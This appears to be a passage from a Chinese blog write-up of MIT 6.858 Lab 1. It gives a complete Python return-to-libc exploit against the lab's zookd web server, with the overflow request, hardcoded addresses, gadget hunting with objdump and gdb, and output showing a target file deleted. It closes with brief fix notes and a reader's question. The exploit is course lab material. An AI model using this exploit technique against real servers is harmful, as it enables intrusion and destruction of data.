b'GET / HTTP/1.0\r\nEXP: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%8a%58%55%55%55%55%00%00%40%cd%04%55%55%15%00%00%e0%dc%ff%ff%ff%7f%00%00/home/student/grades.txt\x00\r\n\r\n'
Connecting to 192.168.33.130:8080...
Connected, sending request...
Request sent, waiting for reply...
Received reply.
HTTP response:
b''
此时查看/home/student/目录,已经没有grades.txt这个文件,说明我们的攻击成功了。
Challenge!(Optional)
这里的话mit的实验公告提出了一个challenge,意思是让我们不借助于提供的accidentally函数来做return-to-libc攻击。显然这样的话攻击更具有普遍性,因为肯定没有正经的开发者会在源码里专门写一段用来攻击的汇编代码。那么没有这种提供的攻击点的话应该如何下手呢?当然是找我们的老好人朋友libc了~
就像找libc里的system,execve等函数一样,我们可以寻找libc中可用的往rdi加载内容的汇编代码。这里使用objdump -d来反汇编libc的动态库,并查找其中的出现在unlink前不远的跟rdi有关的操作:
student@6858-v20:~/lab$ objdump -d /lib/x86_64-linux-gnu/libc.so.6 | grep unlink -B5 | grep rdi -C3
7b4de: 85 c0 test %eax,%eax
7b4e0: 89 c3 mov %eax,%ebx
7b4e2: 78 1c js 7b500 <tmpfile@@GLIBC_2.2.5+0xb0>
7b4e4: 48 89 ef mov %rbp,%rdi
7b4e7: e8 54 68 09 00 callq 111d40 <unlink@@GLIBC_2.2.5>
--
7bcef: 90 nop
000000000007bcf0 <remove@@GLIBC_2.2.5>:
7bcf0: 53 push %rbx
7bcf1: 48 89 fb mov %rdi,%rbx
7bcf4: e8 47 60 09 00 callq 111d40 <unlink@@GLIBC_2.2.5>
--
111d33: c3 retq
这里显然
“`7b4e4: 48 89 ef mov %rbp,%rdi“`这一行是看上去十分满意的,因为他直接用rbp中的值装载入了rdi里,而rbp是栈底指针,属于我们可以用栈溢出改写的对象,我们只需要在之前找到的返回地址在栈上的位置之前塞一个我们想要的rbp进去就可以了,这里我们想要的rbp值应该是/home/student/grades.txt的地址,所以就是把上面exploit-4.py的核心代码改成:
req += b"A" * ((stack_retaddr - stack_buffer) -8) #junk
payload += struct.pack('<Q', rbp_shouldbe=filename_addr)
payload += struct.pack('<Q', libc_retaddr) # return adress
payload += struct.pack('<Q', unlink_addr)
payload += struct.pack('<Q', filename_addr)
req += urlencode(payload)
req += filename
只是这时候的libc_retaddr应该是
“`mov %rdi,%rbx“`这行代码在内存中的地址。我们先找一下libc加载后在内存中的地址,使用gdb附加调试zookbar的进程,发送请求并到任意断点处停下,首先获取一下当前进程的pid,然后查看对应的process maps:
(gdb) p (int)getpid()
$1 = 4213
(gdb) shell cat /proc/4213/maps
155554f3b000-155555122000 r-xp 00000000 08:01 2084 /lib/x86_64-linux-gnu/libc-2.27.so
155555122000-155555322000 ---p 001e7000 08:01 2084 /lib/x86_64-linux-gnu/libc-2.27.so
155555322000-155555326000 r--p 001e7000 08:01 2084 /lib/x86_64-linux-gnu/libc-2.27.so
155555326000-155555328000 rw-p 001eb000 08:01 2084 /lib/x86_64-linux-gnu/libc-2.27.so
155555328000-15555532c000 rw-p 00000000 00:00 0
15555532c000-155555353000 r-xp 00000000 08:01 2080 /lib/x86_64-linux-gnu/ld-2.27.so
155555543000-155555545000 rw-p 00000000 00:00 0
15555554e000-155555551000 r--p 00000000 00:00 0 [vvar]
155555551000-155555553000 r-xp 00000000 00:00 0 [vdso]
155555553000-155555554000 r--p 00027000 08:01 2080 /lib/x86_64-linux-gnu/ld-2.27.so
155555554000-155555555000 rw-p 00028000 08:01 2080 /lib/x86_64-linux-gnu/ld-2.27.so
155555555000-155555556000 rw-p 00000000 00:00 0
555555554000-555555558000 r-xp 00000000 08:01 273389 /home/student/lab/zookd-nxstack
555555757000-555555758000 r--p 00003000 08:01 273389 /home/student/lab/zookd-nxstack
555555758000-555555759000 rw-p 00004000 08:01 273389 /home/student/lab/zookd-nxstack
555555759000-555555780000 rw-p 00000000 00:00 0 [heap]
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
我们注意到libc的可执行部分在:
155554f3b000-155555122000 r-xp 00000000 08:01 2084 /lib/x86_64-linux-gnu/libc-2.27.so
也就是说libc的可执行程序在内存中是从155554f3b000开始的,我们把这个地址记为
“`libc_base = 0x155554f3b000“`,而之前使用objdump+grep找到的可用汇编指令位置是libc.so中的0x7b4e4位置,所以我们可以得到当程序运行起来的时候我们想要的返回值应该是 “`libc_retaddr = libc_base + 0x7b4e4“`,得到这个参数之后我们就可以完成exploit-chanllenge.py了:
#!/usr/bin/env python3
import sys
import socket
import traceback
import urllib.parse
import struct
libc_base = 0x155554f3b000
stack_buffer = 0x7fffffffda90
stack_retaddr = 0x7fffffffdcc8
libc_retaddr = libc_base + 0x7b4e4 # change for stack aligned
filename_addr = 0x7fffffffdce0
rbp_shouldbe = filename_addr
system_addr = 0x155554f8a440
unlink_addr = 0x15555504cd40
exit_addr = 0x155554f7e120
rbp_pop = 0x7fffffffdcc0
def urlencode(b):
r = b""
for c in b:
r += b"%"+c.to_bytes(1,"little").hex().encode()
return r
def build_exploit(shellcode):
filename = b"/home/student/grades.txt"+b"\0"
req = b"GET / HTTP/1.0\r\n" #+ \
#b"\r\n"
payload = b""
req += b"EXP: "
req += b"A" * ((stack_retaddr - stack_buffer) -8) #junk
payload += struct.pack('<Q', rbp_shouldbe)
payload += struct.pack('<Q', libc_retaddr) # return adress
payload += struct.pack('<Q', unlink_addr)
payload += struct.pack('<Q', filename_addr)
req += urlencode(payload)
req += filename
req += b"\r\n"
req += b"\r\n"
return req
def send_req(host, port, req):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("Connecting to %s:%d..." % (host, port))
sock.connect((host, port))
print("Connected, sending request...")
sock.send(req)
print("Request sent, waiting for reply...")
rbuf = sock.recv(1024)
resp = b""
while len(rbuf):
resp = resp + rbuf
rbuf = sock.recv(1024)
print("Received reply.")
sock.close()
return resp
if len(sys.argv) != 3:
print("Usage: " + sys.argv[0] + " host port")
exit()
try:
shellfile = open("shellcode.bin", "rb")
shellcode = shellfile.read()
req = build_exploit(shellcode)
print("HTTP request:")
print(req)
resp = send_req(sys.argv[1], int(sys.argv[2]), req)
print("HTTP response:")
print(resp)
except:
print("Exception:")
print(traceback.format_exc())
在/home/students/下新建一个grades.txt,运行exploit-challenge.py:
student@6858-v20:~/lab$ python3 exploit-challenge.py 192.168.33.130 8080
HTTP request:
b'GET / HTTP/1.0\r\nEXP: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%e0%dc%ff%ff%ff%7f%00%00%e4%64%fb%54%55%15%00%00%40%cd%04%55%55%15%00%00%e0%dc%ff%ff%ff%7f%00%00/home/student/grades.txt\x00\r\n\r\n'
Connecting to 192.168.33.130:8080...
Connected, sending request...
Request sent, waiting for reply...
*** stack smashing detected ***: <unknown> terminated
Received reply.
HTTP response:
b''
student@6858-v20:~/lab$ Child process 5451 terminated incorrectly, receiving signal 6
此时查看/home/student/下,grades.txt已经消失,说明攻击成功。
此时可以使用make check来检查所有的攻击代码:
student@6858-v20:~/lab$ make check
./check_zoobar.py
+ removing zoobar db
+ running make.. output in /tmp/make.out
+ running zookd in the background.. output in /tmp/zookd.out
PASS Zoobar app functionality
./check-bin.sh
tar xf bin.tar.gz
./check-part2.sh zookd-exstack ./exploit-2.py
./check-part2.sh: line 8: 5591 Terminated strace -f -e none -o "$STRACELOG" ./clean-env.sh ./$1 8080 &> /dev/null
5605 --- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=NULL} ---
5605 +++ killed by SIGSEGV (core dumped) +++
5594 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_DUMPED, si_pid=5605, si_uid=1000, si_status=SIGSEGV, si_utime=0, si_stime=1} ---
PASS ./exploit-2.py
./check-bin.sh
tar xf bin.tar.gz
./check-part3.sh zookd-exstack ./exploit-3.py
PASS ./exploit-3.py
./check-bin.sh
tar xf bin.tar.gz
./check-part3.sh zookd-nxstack ./exploit-4.py
PASS ./exploit-4.py
[2]+ Terminated ./clean-env.sh ./zookd-nxstack 8080
可以看到所有的结果均为PASS,说明我们实验的攻击部分已经完成了。
6. Part 4: Fixing buffer overflows and other bugs
最后这一部分要求找到其他bug点并修复,目前的话我自己还是只找到了这两处使用url_decode的问题,修复的方法也有很多种,比如我可以直接简单粗暴的把两处使用的reqpath和value的长度直接置为8192,这样就不会在从buf到它们的url_decode中出现栈溢出了。其他修复策略因人而异,不再详细讨论。
大佬,我这个实验lab1 make check-crash 老是失败是怎么肥事呢?
像下面这个样子
root@kali:/home/student/lab# make check-crash
./check-bin.sh
tar xf bin.tar.gz
./check-part2.sh zookd-exstack ./exploit-2.py
failed to connect to localhost:8080
make: *** [Makefile:49: check-crash] Error 1
大概是啥问题呢?你有没有遇到过呢?
执行make前先执行这个启动一下web server: ./clean-env.sh ./zookd-nxstack 8080 &